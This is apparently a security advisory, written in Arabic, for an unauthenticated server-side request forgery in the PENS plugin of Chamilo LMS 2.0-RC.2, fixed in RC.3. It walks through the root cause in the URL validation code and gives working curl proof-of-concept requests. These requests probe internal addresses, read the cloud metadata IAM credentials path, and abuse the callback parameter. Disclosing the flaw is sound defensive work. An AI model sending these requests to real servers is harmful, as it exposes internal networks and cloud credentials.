
استغلال SSRF غير مُصادَق عليه لإضافة PENS في Chamilo LMS، يُوضّح متجهين للوصول إلى الشبكات الداخلية وبيانات وصفية للسحابة، مع إثبات مفهوم (PoC) وتحليل السبب الجذري.
الخطورة: عالية (CVSS 8.6)
CWE: CWE-918 (تزوير الطلبات من جانب الخادم)
المتأثر: chamilo/chamilo-lms 2.0-RC.2
تم إصلاحه في: 2.0-RC.3
التنبيه الأمني: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
الفضل: Romain Deperne
نقطة نهاية إضافة PENS (خدمات إشعار تبادل الحزم) public/plugin/Pens/pens.php متاحة دون مصادقة وتقبل عناوين URL يتحكم بها المستخدم لكل من تنزيل الحزم وإشعارات الاستدعاء (callback). تتحقق دوال التحقق من صحة URL من المخطط (scheme) ووجود المضيف (host) لكنها لا تُجري أي تصفية لعناوين IP الخاصة، مما يسمح بـ SSRF غير مُصادَق عليه نحو الشبكات الداخلية وخدمات البيانات الوصفية السحابية.
بعد CVE-2026-33715، راجعت نقاط نهاية أخرى في Chamilo غير المُصادَق عليها ذات تأثيرات على مستوى الشبكة. تقوم إضافة PENS (public/plugin/Pens/) بجلب الحزم من عناوين URL خارجية وإرسال استدعاءات إلى خوادم خارجية، مما ينشئ سطحَي SSRF.
قرأت PensProcessor.php بحثًا عن منطق التحقق من صحة URL. تتحقق كل من isAllowedDownloadUrl() وisAllowedCallbackUrl() من المخطط (http/https) ومن أن المضيف غير فارغ — وتتوقف عند هذا الحد. لا تصفية وفق RFC 1918، ولا فحص للاسترجاع (loopback)، ولا فحص للعنوان المحلي للرابط (link-local). حتى أن التعليق يقول "returns true" بعد فحص المضيف، مما جعل من الواضح أن هذا كُتب دون مراعاة SSRF.
ما يميز هذا عن CVE السابق في Chamilo: أنه يحتوي على متجهَي SSRF مستقلين — أحدهما لجلب الحزمة (يسحب الخادم ملفًا من URL يتحكم به المهاجم) والآخر للاستدعاءات (يقوم الخادم بإرسال POST إلى نقاط نهاية يتحكم بها المهاجم). متجه الاستدعاء مفيد بشكل خاص لتسريب استجابات الخدمات الداخلية، لأن الخادم سيرسل POST لبيانات حالة PENS إلى أي URL تحدده أنت، وأنت تتحكم في تحليل الاستجابة.
في عمليات النشر السحابية، يمكن الوصول إلى نقطة نهاية البيانات الوصفية 169.254.169.254 عبر كلا المتجهين.
الملف: public/plugin/Pens/lib/PensProcessor.php
متجها SSRF متميزان:
المتجه 1 — جلب URL الحزمة (السطور 376، 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← no private IP check
}
// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
المتجه 2 — SSRF عبر الاستدعاء الراجع (السطر 318): تحدّد المعلمتان receipt وalerts عناوين URL يرسل إليها الخادم استدعاءات راجعة عبر POST — مع غياب التحقق نفسه.
تتحقق الدالتان isAllowedDownloadUrl() وisAllowedCallbackUrl() فقط من أن عنوان URL يستخدم مخطط http/https وأن المضيف غير فارغ. تُقبل جميع النطاقات الخاصة وفق RFC 1918 (10.x، 172.16.x، 192.168.x)، والعنوان الراجع (127.x)، والعنوان المحلي للرابط (169.254.x — بيانات وصفية للسحابة)، وما يعادلها من IPv6.
# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254ملاحظة: هذا مختلف عن CVE-2022-27426 (SSRF في أدوات social/links) — مسار تعليمات برمجية مختلف، إضافة مختلفة، غير مُصادَق عليه.